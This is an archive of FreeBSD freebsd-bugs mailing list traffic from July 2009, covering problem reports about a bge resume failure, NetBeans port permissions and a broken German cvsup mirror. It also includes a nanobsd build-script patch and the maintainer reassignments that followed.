Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4F9E21065693; Sat, 18 Jul 2009 04:26:59 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 259228FC1A; Sat, 18 Jul 2009 04:26:59 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (linimon@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6I4Qx2Y042845; Sat, 18 Jul 2009 04:26:59 GMT (envelope-from linimon@freefall.freebsd.org) Received: (from linimon@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6I4QxnY042841; Sat, 18 Jul 2009 04:26:59 GMT (envelope-from linimon) Date: Sat, 18 Jul 2009 04:26:59 GMT Message-Id: <200907180426.n6I4QxnY042841@freefall.freebsd.org> To: linimon@FreeBSD.org, freebsd-bugs@FreeBSD.org, freebsd-net@FreeBSD.org From: linimon@FreeBSD.org Cc: Subject: Re: kern/136876: [bge] bge will not resume properly after suspend X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 18 Jul 2009 04:26:59 -0000 Old Synopsis: bge will not resume properly after suspend New Synopsis: [bge] bge will not resume properly after suspend Responsible-Changed-From-To: freebsd-bugs->freebsd-net Responsible-Changed-By: linimon Responsible-Changed-When: Sat Jul 18 04:26:34 UTC 2009 Responsible-Changed-Why: Over to maintainer(s). http://www.freebsd.org/cgi/query-pr.cgi?pr=136876 From owner-freebsd-bugs@FreeBSD.ORG Sat Jul 18 04:50:02 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9E14F106566B for ; Sat, 18 Jul 2009 04:50:02 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 5FB078FC1E for ; Sat, 18 Jul 2009 04:50:02 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6I4o25o059154 for ; Sat, 18 Jul 2009 04:50:02 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6I4o26L059153; Sat, 18 Jul 2009 04:50:02 GMT (envelope-from gnats) Resent-Date: Sat, 18 Jul 2009 04:50:02 GMT Resent-Message-Id: <200907180450.n6I4o26L059153@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Yoshihiro Ota Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A639D106564A for ; Sat, 18 Jul 2009 04:47:07 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 94FC48FC18 for ; Sat, 18 Jul 2009 04:47:07 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6I4l6M8085268 for ; Sat, 18 Jul 2009 04:47:07 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6I4l6cD085266; Sat, 18 Jul 2009 04:47:06 GMT (envelope-from nobody) Message-Id: <200907180447.n6I4l6cD085266@www.freebsd.org> Date: Sat, 18 Jul 2009 04:47:06 GMT From: Yoshihiro Ota To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: misc/136881: [java] netbeans67 has inappropriate permission such that users cannot run X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 18 Jul 2009 04:50:02 -0000 >Number: 136881 >Category: misc >Synopsis: [java] netbeans67 has inappropriate permission such that users cannot run >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Jul 18 04:50:02 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Yoshihiro Ota >Release: 7.1-RELEASE >Organization: >Environment: FreeBSD xxx 7.1-RELEASE-p6 FreeBSD 7.1-RELEASE-p6 #465 r188634M: Wed Jun 17 12:19:08 EDT 2009 xxx:/usr/obj/usr/src/sys/GENERIC i386 >Description: %ls -lsd /usr/local/netbeans67 2 drwx------ 22 root wheel 1024 7 18 00:34 /usr/local/netbeans67 Install directory is not visible to anyone else other than root. Normal users cannot run the program. >How-To-Repeat: % cd /usr/ports/java/netbeans % make install % su -l hiro % netbeans67 /usr/local/bin/netbeans67: Permission denied. %ls -sld /usr/local/bin/netbeans67 0 lrwxr-xr-x 1 root wheel 34 7 18 00:35 /usr/local/bin/netbeans67 -> /usr/local/netbeans67/bin/netbeans %ls -lsd /usr/local/netbeans netbeans/ netbeans67/ %ls -lsd /usr/local/netbeans67 netbeans67/ %ls -lsd /usr/local/netbeans67 2 drwx------ 22 root wheel 1024 7 18 00:34 /usr/local/netbeans67 >Fix: Temporary solution is % chmod +rx /usr/local/netbeans67/ Old netbeans such as 6.1 and 6.5 used to work. 6.7 needs to be reverted to the same ways as 6.1 and 6.5. >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Sat Jul 18 16:40:03 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 35D5E1065672 for ; Sat, 18 Jul 2009 16:40:03 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id EB3AB8FC15 for ; Sat, 18 Jul 2009 16:40:02 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6IGe2DC040385 for ; Sat, 18 Jul 2009 16:40:02 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6IGe2Tc040384; Sat, 18 Jul 2009 16:40:02 GMT (envelope-from gnats) Resent-Date: Sat, 18 Jul 2009 16:40:02 GMT Resent-Message-Id: <200907181640.n6IGe2Tc040384@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Andreas Schwarz Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AF69A1065674 for ; Sat, 18 Jul 2009 16:30:44 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 9E2BB8FC2A for ; Sat, 18 Jul 2009 16:30:44 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6IGUhQg013124 for ; Sat, 18 Jul 2009 16:30:43 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6IGUhxd013123; Sat, 18 Jul 2009 16:30:43 GMT (envelope-from nobody) Message-Id: <200907181630.n6IGUhxd013123@www.freebsd.org> Date: Sat, 18 Jul 2009 16:30:43 GMT From: Andreas Schwarz To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: misc/136887: cvsup.de.freebsd.org broken X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 18 Jul 2009 16:40:03 -0000 >Number: 136887 >Category: misc >Synopsis: cvsup.de.freebsd.org broken >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Sat Jul 18 16:40:02 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Andreas Schwarz >Release: 7.2-STABLE >Organization: >Environment: FreeBSD tapir.schwarzes.net 7.2-STABLE FreeBSD 7.2-STABLE #0: Sat Jul 18 00:05:39 CEST 2009 root@tapir.schwarzes.net:/usr/obj/usr/src/sys/tapir.schwarzes.net i386 >Description: The public cvsup server "cvsup.de.freebsd.org" (cvsup1.de) asks for authentication (since many weeks), seems to be misconfigured, please point the DNS entry to a working one. root@tapir:~ # csup -h cvsup.de.freebsd.org -g stable-supfile Connected to 212.118.165.142 Authentication required by the server and not supported by client root@tapir:~ # host cvsup1.de.freebsd.org cvsup1.de.freebsd.org is an alias for cvsup.de.freebsd.org. cvsup.de.freebsd.org is an alias for office.oberon.net. office.oberon.net has address 212.118.165.142 office.oberon.net mail is handled by 5 mx01.oberon.net. office.oberon.net mail is handled by 10 office.oberon.net. office.oberon.net mail is handled by 20 mail.oberon.net. office.oberon.net mail is handled by 30 mail.LF.net. >How-To-Repeat: Try csup with this server. >Fix: Use the main server, but this is not a fix. The idea of static configured local mirrors seems not to work, again and again there are problems with them. It should be possible to set the address entries dynamically, depending on function and "up-to-dateness". >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Sat Jul 18 18:20:01 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E9B50106566B for ; Sat, 18 Jul 2009 18:20:01 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id C4D418FC14 for ; Sat, 18 Jul 2009 18:20:01 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6IIK119014658 for ; Sat, 18 Jul 2009 18:20:01 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6IIK1Gq014657; Sat, 18 Jul 2009 18:20:01 GMT (envelope-from gnats) Resent-Date: Sat, 18 Jul 2009 18:20:01 GMT Resent-Message-Id: <200907181820.n6IIK1Gq014657@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Aragon Gouveia Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6AC4B106566C for ; Sat, 18 Jul 2009 18:13:31 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 5901D8FC0C for ; Sat, 18 Jul 2009 18:13:31 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6IIDVjR016427 for ; Sat, 18 Jul 2009 18:13:31 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6IIDVTC016426; Sat, 18 Jul 2009 18:13:31 GMT (envelope-from nobody) Message-Id: <200907181813.n6IIDVTC016426@www.freebsd.org> Date: Sat, 18 Jul 2009 18:13:31 GMT From: Aragon Gouveia To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: misc/136889: nanobsd error reporting and other refinements X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 18 Jul 2009 18:20:02 -0000 >Number: 136889 >Category: misc >Synopsis: nanobsd error reporting and other refinements >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Jul 18 18:20:01 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Aragon Gouveia >Release: 8.0-BETA1 >Organization: >Environment: FreeBSD fuzz.geek.sh 8.0-BETA1 FreeBSD 8.0-BETA1 #7: Thu Jul 9 03:27:47 UTC 2009 root@fuzz.geek.sh:/usr/obj/usr/src/sys/FUZZ amd64 >Description: I've attached a patch which improves or fixes a few things in the nanobsd build script. 1. There is an error in create_i386_diskimage in that the routine sets traps to unmount and unallocate the filesystems and md devices it creates, but it doesn't clear the traps before the routine exits. This causes the nanobsd script to halt (due to set -e) and one never sees the completion message at the end. 2. set -e is called at the start of the script which causes any errors to terminate execution immediately. There is no message to show that an error occurred so it is quite easy to run nanobsd and think it ran to completion because it just exits silently. Meanwhile you end up taking a stale disk image to your device. I've added a routine to check $? and a trap that calls this routine on EXIT. 3. prune_usr has an annoying side effect in that while deleting all empty directories in /usr, it also deletes /usr/lib/aout. With /usr/lib/aout missing, ldconfig generates an error during bootup. I've modified prune_usr to skip any directories named "aout". 4. Added NANO_BOOT2CFG variable for adjusting the flags set in /boot.config. Default is still " -h". 4. Added NANO_IMAGE_MBRONLY and set it true by default. When true and when NANO_MD_BACKING is set to "swap", nanobsd will not write out an entire disk image to file. Instead it will just write the MBR and the code partition image to files. I added this to make new nanobsd builds quicker and easier as one rarely needs to write an entire disk image after the slices and filesystems are already setup, and with 2 GB or larger flash cards being the norm, writing an entire disk image is heavy. >How-To-Repeat: >Fix: Patch attached with submission follows: --- /usr/src/tools/tools/nanobsd/nanobsd.sh 2009-07-12 19:06:20.000000000 +0200 +++ nanobsd.sh 2009-07-18 01:10:45.000000000 +0200 @@ -124,10 +124,17 @@ NANO_BOOT0CFG="-o packet -s 1 -m 3" NANO_BOOTLOADER="boot/boot0sio" +# boot2 flags/options +# default force serial console +NANO_BOOT2CFG=" -h" + # Backing type of md(4) device # Can be "file" or "swap" NANO_MD_BACKING="file" +# for swap type md(4) backing, write out the mbr only +NANO_IMAGE_MBRONLY=true + # Progress Print level PPLEVEL=3 @@ -143,6 +150,13 @@ # ####################################################################### +nano_cleanup() { + if [ $? -ne 0 ]; then + echo "Error encountered. Check for errors in last log file." 1>&2 + fi + exit $? +} + clean_build ( ) ( pprint 2 "Clean and create object directory (${MAKEOBJDIRPREFIX})" @@ -344,7 +358,7 @@ prune_usr() ( # Remove all empty directories in /usr - find ${NANO_WORLDDIR}/usr -type d -depth -print | + find ${NANO_WORLDDIR}/usr -type d -depth -not -name aout -print | while read d do rmdir $d > /dev/null 2>&1 || true @@ -485,13 +499,20 @@ fi if [ "${NANO_MD_BACKING}" = "swap" ] ; then - echo "Writing out ${NANO_IMGNAME}..." - dd if=/dev/${MD} of=${IMG} bs=64k + if [ ${NANO_IMAGE_MBRONLY} ]; then + echo "Writing out _.disk.mbr..." + dd if=/dev/${MD} of=${NANO_DISKIMGDIR}/_.disk.mbr bs=512 count=1 + else + echo "Writing out ${NANO_IMGNAME}..." + dd if=/dev/${MD} of=${IMG} bs=64k + fi fi echo "Writing out _.disk.image..." dd if=/dev/${MD}s1 of=${NANO_DISKIMGDIR}/_.disk.image bs=64k mdconfig -d -u $MD + trap - 1 2 15 + trap "nano_cleanup" EXIT ) > ${NANO_OBJ}/_.di 2>&1 ) @@ -571,8 +592,7 @@ # Disable getty on syscons devices sed -i "" -e '/^ttyv[0-8]/s/ on/ off/' ${NANO_WORLDDIR}/etc/ttys - # Tell loader to use serial console early. - echo " -h" > ${NANO_WORLDDIR}/boot.config + echo ${NANO_BOOT2CFG} > ${NANO_WORLDDIR}/boot.config ) ####################################################################### @@ -677,7 +697,7 @@ echo " -i suppress disk image build" echo " -k suppress buildkernel" echo " -n add -DNO_CLEAN to buildworld, buildkernel, etc" - echo " -q make output more quite" + echo " -q make output quieter" echo " -v make output more verbose" echo " -w suppress buildworld" echo " -c specify config file" @@ -754,6 +774,8 @@ usage fi +trap "nano_cleanup" EXIT + ####################################################################### # Setup and Export Internal variables # >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Sat Jul 18 18:49:27 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BACD41065670; Sat, 18 Jul 2009 18:49:27 +0000 (UTC) (envelope-from bz@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 909538FC13; Sat, 18 Jul 2009 18:49:27 +0000 (UTC) (envelope-from bz@FreeBSD.org) Received: from freefall.freebsd.org (bz@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6IInR2o037787; Sat, 18 Jul 2009 18:49:27 GMT (envelope-from bz@freefall.freebsd.org) Received: (from bz@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6IInRDb037783; Sat, 18 Jul 2009 18:49:27 GMT (envelope-from bz) Date: Sat, 18 Jul 2009 18:49:27 GMT Message-Id: <200907181849.n6IInRDb037783@freefall.freebsd.org> To: freebsd.asc@schwarzes.net, bz@FreeBSD.org, freebsd-bugs@FreeBSD.org, bz@FreeBSD.org From: bz@FreeBSD.org Cc: Subject: Re: misc/136887: cvsup.de.freebsd.org broken X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 18 Jul 2009 18:49:28 -0000 Synopsis: cvsup.de.freebsd.org broken State-Changed-From-To: open->closed State-Changed-By: bz State-Changed-When: Sat Jul 18 18:44:02 UTC 2009 State-Changed-Why: In this case I'd try to contact KJ2-RIPE (pi). If he doesn't reply, report to hostmaster@de.freebsd.org to change the DNS or contact the person responsible. If you cannot get to anyone try de-bsd-hubs (see www.freebsd.de). If that doesn't help, please report to hubs@freebsd.org. Responsible-Changed-From-To: freebsd-bugs->bz Responsible-Changed-By: bz Responsible-Changed-When: Sat Jul 18 18:44:02 UTC 2009 Responsible-Changed-Why: Track possible follow-ups. http://www.freebsd.org/cgi/query-pr.cgi?pr=136887 From owner-freebsd-bugs@FreeBSD.ORG Sat Jul 18 23:13:27 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3B2D2106564A; Sat, 18 Jul 2009 23:13:27 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 0FF598FC19; Sat, 18 Jul 2009 23:13:27 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (linimon@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6INDQVc040724; Sat, 18 Jul 2009 23:13:26 GMT (envelope-from linimon@freefall.freebsd.org) Received: (from linimon@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6INDQw4040720; Sat, 18 Jul 2009 23:13:26 GMT (envelope-from linimon) Date: Sat, 18 Jul 2009 23:13:26 GMT Message-Id: <200907182313.n6INDQw4040720@freefall.freebsd.org> To: linimon@FreeBSD.org, freebsd-bugs@FreeBSD.org, freebsd-embedded@FreeBSD.org From: linimon@FreeBSD.org Cc: Subject: Re: misc/136889: [nanobsd] [path] nanobsd error reporting and other refinements X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 18 Jul 2009 23:13:27 -0000 Synopsis: [nanobsd] [path] nanobsd error reporting and other refinements Responsible-Changed-From-To: freebsd-bugs->freebsd-embedded Responsible-Changed-By: linimon Responsible-Changed-When: Sat Jul 18 23:13:15 UTC 2009 Responsible-Changed-Why: Over to maintainer(s). http://www.freebsd.org/cgi/query-pr.cgi?pr=136889 From owner-freebsd-bugs@FreeBSD.ORG Sat Jul 18 23:19:26 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D88CE106564A; Sat, 18 Jul 2009 23:19:26 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id AD85A8FC1D; Sat, 18 Jul 2009 23:19:26 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (linimon@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6INJQGD041260; Sat, 18 Jul 2009 23:19:26 GMT (envelope-from linimon@freefall.freebsd.org) Received: (from linimon@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6INJQlQ041256; Sat, 18 Jul 2009 23:19:26 GMT (envelope-from linimon) Date: Sat, 18 Jul 2009 23:19:26 GMT Message-Id: <200907182319.n6INJQlQ041256@freefall.freebsd.org> To: linimon@FreeBSD.org, freebsd-bugs@FreeBSD.org, gahr@FreeBSD.org From: linimon@FreeBSD.org Cc: Subject: Re: ports/136881: java/netbeans has inappropriate permission such that users cannot run X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 18 Jul 2009 23:19:27 -0000 Old Synopsis: [java] netbeans67 has inappropriate permission such that users cannot run New Synopsis: java/netbeans has inappropriate permission such that users cannot run Responsible-Changed-From-To: freebsd-bugs->gahr Responsible-Changed-By: linimon Responsible-Changed-When: Sat Jul 18 23:18:10 UTC 2009 Responsible-Changed-Why: Fix synopsis and assign. http://www.freebsd.org/cgi/query-pr.cgi?pr=136881 From owner-freebsd-bugs@FreeBSD.ORG Sat Jul 18 23:21:48 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E103B106566C; Sat, 18 Jul 2009 23:21:48 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id B6A798FC1F; Sat, 18 Jul 2009 23:21:48 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (linimon@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6INLme7048131; Sat, 18 Jul 2009 23:21:48 GMT (envelope-from linimon@freefall.freebsd.org) Received: (from linimon@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6INLmH8048127; Sat, 18 Jul 2009 23:21:48 GMT (envelope-from linimon) Date: Sat, 18 Jul 2009 23:21:48 GMT Message-Id: <200907182321.n6INLmH8048127@freefall.freebsd.org> To: linimon@FreeBSD.org, freebsd-bugs@FreeBSD.org, freebsd-rc@FreeBSD.org From: linimon@FreeBSD.org Cc: Subject: Re: conf/136875: [request] _flags appending X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 18 Jul 2009 23:21:49 -0000 Old Synopsis: _flags appending New Synopsis: [request] _flags appending Responsible-Changed-From-To: freebsd-bugs->freebsd-rc Responsible-Changed-By: linimon Responsible-Changed-When: Sat Jul 18 23:21:12 UTC 2009 Responsible-Changed-Why: Fix synopsis and assign. http://www.freebsd.org/cgi/query-pr.cgi?pr=136875